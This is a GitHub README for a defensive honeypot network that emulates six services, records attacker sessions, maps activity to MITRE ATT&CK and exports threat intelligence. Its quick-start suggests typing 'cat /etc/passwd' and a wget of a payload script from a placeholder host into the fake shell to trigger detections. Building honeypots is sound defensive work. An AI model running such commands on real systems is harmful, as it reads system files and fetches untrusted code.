duranruizsantiago-lang/honeypot-network

GitHub: duranruizsantiago-lang/honeypot-network

一套多协议蜜罐网络系统,通过模拟六种服务捕获攻击行为并映射MITRE ATT&CK技术,实现自动化威胁情报提取与可视化分析。

Stars: 0 | Forks: 0

``` ██╗ ██╗ ██████╗ ███╗ ██╗███████╗██╗ ██╗███╗ ██╗███████╗████████╗ ██║ ██║██╔═══██╗████╗ ██║██╔════╝╚██╗ ██╔╝████╗ ██║██╔════╝╚══██╔══╝ ███████║██║ ██║██╔██╗ ██║█████╗ ╚████╔╝ ██╔██╗ ██║█████╗ ██║ ██╔══██║██║ ██║██║╚██╗██║██╔══╝ ╚██╔╝ ██║╚██╗██║██╔══╝ ██║ ██║ ██║╚██████╔╝██║ ╚████║███████╗ ██║ ██║ ╚████║███████╗ ██║ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ``` [![Go](https://img.shields.io/badge/Go-1.25+-00ADD8?style=flat&logo=go&logoColor=white)](https://go.dev) [![React](https://img.shields.io/badge/React-19-61DAFB?style=flat&logo=react&logoColor=black)](https://react.dev) [![TypeScript](https://img.shields.io/badge/TypeScript-5.9-3178C6?style=flat&logo=typescript&logoColor=white)](https://www.typescriptlang.org) [![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0) [![Docker](https://img.shields.io/badge/Docker-ready-2496ED?style=flat&logo=docker)](https://www.docker.com) [![MITRE ATT&CK](https://img.shields.io/badge/MITRE_ATT%26CK-27_Techniques-orange?style=flat)](https://attack.mitre.org/) *这是一个快速概览。安全理论、架构和完整的演练在[学习模块](#learn)中。* ## 功能 - 模拟 6 种服务:SSH(带 25+ 命令的伪造 shell)、HTTP(伪造的 WordPress/phpMyAdmin)、FTP(PASV 文件捕获)、SMB(negotiate)、MySQL(wire protocol)、Redis(RESP) - 捕获攻击者的每次交互:凭据、命令、文件上传、扫描模式、工具指纹 - 通过单事件和滑动窗口检测,将行为映射到 8 种战术下的 27 种 MITRE ATT&CK 技术 - 提取 IOC(IP、URL、域名、user-agents、凭据),并进行置信度评分和去重 - 将威胁情报导出为 STIX 2.1 bundles 和防火墙 blocklists(iptables、nginx deny、纯文本、CSV) - 以 asciicast v2 格式记录 SSH 会话,可通过 xterm.js 在浏览器中重放 - 通过 WebSocket 将事件实时流式传输到 React 仪表板,包含攻击地图、MITRE 热力图和会话重放 ## 快速开始 ``` git clone https://github.com/duranruizsantiago-lang/honeypot-network.git cd honeypot-network cp .env.example .env docker compose -f dev.compose.yml up -d ``` 仪表板将在 `http://localhost:3000` 加载。连接到 SSH honeypot 以查看你的第一个捕获会话: ``` ssh root@localhost -p 2222 ``` 使用任意密码。运行如 `ls`、`cat /etc/passwd`、`wget http://example.com/payload.sh` 等命令,并观察事件流式传输到仪表板。 ## 架构 ``` ┌─────────────────────────────────────────────┐ Attackers │ Hive Backend │ │ │ ┌──────┐ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ │ │ SSH │────2222──│──│ sshd │ │ httpd│ │ ftpd │ │ smbd │ │ │Client│ │ └──┬───┘ └──┬───┘ └──┬───┘ └──┬───┘ │ └──────┘ │ │ │ │ │ │ ┌──────┐ │ ┌──┴───┐ ┌──┴───┐ │ │MySQL │────3307──│──│mysqld│ │redisd│ │ │Client│ │ └──┬───┘ └──┬───┘ │ └──────┘ │ │ │ │ │ ▼ ▼ │ │ ┌─────────────────┐ │ │ │ Event Bus │ (fan-out pub/sub) │ │ └────────┬────────┘ │ │ │ │ │ ┌─────┴─────┐ │ │ │ Processor │ (4 worker goroutines) │ │ │ GeoIP │ │ │ │ MITRE │ │ │ │ Store │ │ │ │ Stream │ │ │ └───────────┘ │ │ │ │ ┌─────────────────┐ │ │ │ REST API │ Chi router :8000 │ │ │ WebSocket │ /ws/events │ │ └─────────────────┘ │ └──────────────┬──────────────────────────────┘ │ ┌──────────────┴──────────────────┐ │ Frontend │ │ React 19 + TypeScript │ │ Dashboard • Events • Sessions │ │ MITRE Heatmap • Intel Export │ └─────────────────────────────────┘ ``` ## 服务 | Service | Port | Protocol | Interaction Depth | |---------|------|----------|-------------------| | SSH | 2222 | x/crypto/ssh | 带文件系统的完整 shell,25+ 命令,会话记录 | | HTTP | 8080 | net/http | 伪造的 WordPress/phpMyAdmin,扫描器检测,漏洞路径陷阱 | | FTP | 2121 | Raw TCP | AUTH + PASV 数据通道,文件上传捕获(1MB 上限) | | SMB | 4450 | Raw TCP | NetBIOS framing + negotiate response,SMB1/SMB2 检测 | | MySQL | 3307 | Raw TCP | 二进制 wire protocol greeting,认证捕获,查询处理 | | Redis | 6380 | tidwall/redcon | RESP 协议,PING/AUTH/INFO/CONFIG/SET/GET/KEYS | ## 技术栈 **后端:** Go 1.25, Chi v5, nhooyr.io/websocket, pgxpool (PostgreSQL), go-redis, zerolog, Cobra CLI **前端:** React 19, TypeScript, Vite 6, SCSS (OKLCH tokens), TanStack Query v5, Zustand, Recharts, react-leaflet, xterm.js **基础设施:** Docker Compose, PostgreSQL 17, Redis 7.4, nginx 反向代理,多阶段构建 ## API | Endpoint | Description | |----------|-------------| | `GET /api/health` | 包含版本和传感器 ID 的健康检查 | | `GET /api/stats/overview` | 事件总数、按服务分类的事件、活跃会话 | | `GET /api/stats/countries` | 按国家/地区统计的事件计数 | | `GET /api/stats/credentials` | 捕获最多的用户名/密码对 | | `GET /api/events` | 支持 IP 过滤的分页事件 | | `GET /api/sessions` | 分页会话列表 | | `GET /api/sessions/{id}` | 包含命令和技术的会话详情 | | `GET /api/sessions/{id}/replay` | 用于会话重放的 Asciicast v2 记录 | | `GET /api/attackers` | 包含地理和工具信息的攻击者列表 | | `GET /api/mitre/techniques` | 完整的技术目录 | | `GET /api/mitre/heatmap` | 用于热力图的技术检测计数 | | `GET /api/iocs` | 分页 IOC 列表 | | `GET /api/iocs/export/stix` | STIX 2.1 bundle 导出 | | `GET /api/iocs/export/blocklist` | Blocklist 导出(纯文本、iptables、nginx、csv) | | `WS /ws/events` | 实时事件流 | ## MITRE ATT&CK 覆盖范围 Hive 检测跨越 8 种战术的 27 种技术: | Tactic | Techniques | |--------|------------| | Reconnaissance | T1595, T1595.002 | | Initial Access | T1078, T1190 | | Execution | T1059.004 | | Persistence | T1053.003, T1543.002, T1098.004 | | Credential Access | T1110, T1110.001, T1110.003, T1552.001 | | Discovery | T1082, T1083, T1046, T1018, T1049, T1016 | | Lateral Movement | T1021.004 | | Command and Control | T1105, T1071.001 | | Impact | T1496, T1485, T1489 | 检测使用两种策略:单事件模式匹配(命令 -> 技术)和多事件滑动窗口(5 分钟内 5 次以上认证尝试 -> T1110 Brute Force,60 秒内出现 3 个以上不同服务 -> T1046 Network Service Discovery)。 ## CLI ``` hive serve # Start all services hive serve --config hive.yml # Custom config file hive migrate up # Apply database migrations hive migrate down # Rollback last migration hive migrate status # Show migration status hive keygen # Generate SSH host key ``` ## 配置 所有设置均可通过 YAML 配置文件或环境变量进行设置: | Variable | Default | Description | |----------|---------|-------------| | `HIVE_SENSOR_ID` | `hive-01` | 传感器标识符 | | `HIVE_SSH_ENABLED` | `true` | 启用 SSH honeypot | | `HIVE_SSH_PORT` | `2222` | SSH 监听端口 | | `HIVE_HTTP_ENABLED` | `true` | 启用 HTTP honeypot | | `HIVE_HTTP_PORT` | `8080` | HTTP 监听端口 | | `HIVE_FTP_ENABLED` | `true` | 启用 FTP honeypot | | `HIVE_FTP_PORT` | `2121` | FTP 监听端口 | | `HIVE_SMB_ENABLED` | `true` | 启用 SMB honeypot | | `HIVE_SMB_PORT` | `4450` | SMB 监听端口 | | `HIVE_MYSQL_ENABLED` | `true` | 启用 MySQL honeypot | | `HIVE_MYSQL_PORT` | `3307` | MySQL 监听端口 | | `HIVE_REDIS_ENABLED` | `true` | 启用 Redis honeypot | | `HIVE_REDIS_PORT` | `6380` | Redis 监听端口 | | `HIVE_API_ADDR` | `:8000` | 仪表板 API 监听地址 | | `HIVE_DB_DSN` | `postgres://...` | PostgreSQL 连接字符串 | | `HIVE_REDIS_URL` | `redis://...` | 基础设施 Redis URL | | `HIVE_GEOIP_PATH` | `data/GeoLite2-City.mmdb` | MaxMind 数据库路径 | | `HIVE_SSH_HOSTKEY_PATH` | `data/hostkey_ed25519` | SSH host key 路径 | | `HIVE_LOG_LEVEL` | `info` | 日志级别(debug、info、warn、error) | ## 项目结构 ``` honeypot-network/ ├── cmd/hive/ # CLI entry point ├── pkg/types/ # Shared domain types (Event, Session, IOC) ├── internal/ │ ├── sshd/ # SSH honeypot (shell, filesystem, commands) │ ├── httpd/ # HTTP honeypot (WordPress, phpMyAdmin fakes) │ ├── ftpd/ # FTP honeypot (auth capture, upload logging) │ ├── smbd/ # SMB honeypot (negotiate-only) │ ├── mysqld/ # MySQL honeypot (wire protocol, query logging) │ ├── redisd/ # Redis honeypot (RESP commands) │ ├── event/ # Event bus + processor pipeline │ ├── store/ # PostgreSQL + Redis persistence │ ├── mitre/ # ATT&CK technique detection engine │ ├── intel/ # IOC extraction, STIX export, blocklists │ ├── api/ # REST + WebSocket dashboard API │ └── ... # config, geo, ratelimit, session, ui ├── frontend/ # React 19 + TypeScript dashboard ├── migrations/ # PostgreSQL schema (goose format) ├── infra/ # Docker, nginx, Redis configs ├── learn/ # Learning modules └── compose.yml # Production Docker Compose ``` ## 学习 | Module | Topic | |--------|-------| | [00 - 概述](learn/00-OVERVIEW.md) | 前置条件、快速开始、项目结构 | | [01 - 概念](learn/01-CONCEPTS.md) | Honeypot 理论、协议仿真、MITRE ATT&CK、IOC 类型 | | [02 - 架构](learn/02-ARCHITECTURE.md) | 事件驱动设计、数据流、设计模式 | | [03 - 实现](learn/03-IMPLEMENTATION.md) | SSH shell 仿真、MySQL wire protocol、FTP 状态机 | | [04 - 挑战](learn/04-CHALLENGES.md) | 添加 Telnet/SMTP、部署到 VPS、ML 异常检测 | ## 常见问题 **重复启动时出现 SSH host key 错误** ``` ssh: handshake failed: ssh: no common algorithm for host key ``` 删除 `data/hostkey_ed25519` 并重新启动。系统将自动生成新密钥。 **PostgreSQL 连接被拒绝** 确保数据库正在运行。使用 Docker 时:`docker compose up -d postgres`。检查 PostgreSQL 是否正在监听 5432 端口。 **前端 WebSocket 未连接** Vite 开发服务器将 `/ws/*` 代理到后端。在启动前端之前,请确保后端正在 8000 端口上运行。 ## 关于本项目 这是我网络安全作品集的一部分。展示了: - **网络安全:** 多协议 honeypot 部署,Raw TCP 协议仿真 - **威胁情报:** MITRE ATT&CK 映射,IOC 提取,STIX 2.1 导出 - **后端工程:** 事件驱动的 Go 架构,并发服务模拟,实时 WebSocket 流式传输 - **攻击者行为分析:** 会话记录,凭据捕获,工具指纹识别 - **操作安全:** 防火墙 blocklist 生成,GeoIP 丰富,法律合规文档 ## 法律免责声明 本工具专为授权的安全研究和教育目的而设计。在您不拥有或无法控制的网络上部署 honeypot 可能会违反当地法律法规。部署之前: - 确保您已获得网络所有者的授权 - 检查您的云服务提供商的可接受使用政策(部分提供商禁止使用 honeypot) - 请注意,honeypot 会收集攻击者数据,其中可能包含受隐私法规(GDPR、CCPA)约束的个人信息 - 不得将捕获的数据用于攻击目的 - 如果在公网 IP 上部署,请了解您正在邀请来自潜在恶意行为者的连接 作者对滥用本软件的行为不承担责任。 ## License AGPL 3.0 — 见 [LICENSE](LICENSE)
标签:EVTX分析, Go, PE 加载器, PostgreSQL, React, Ruby工具, Syscalls, 威胁情报, 开发者工具, 搜索引擎查询, 攻防研究, 测试用例, 网络安全, 蜜罐, 证书利用, 请求拦截, 隐私保护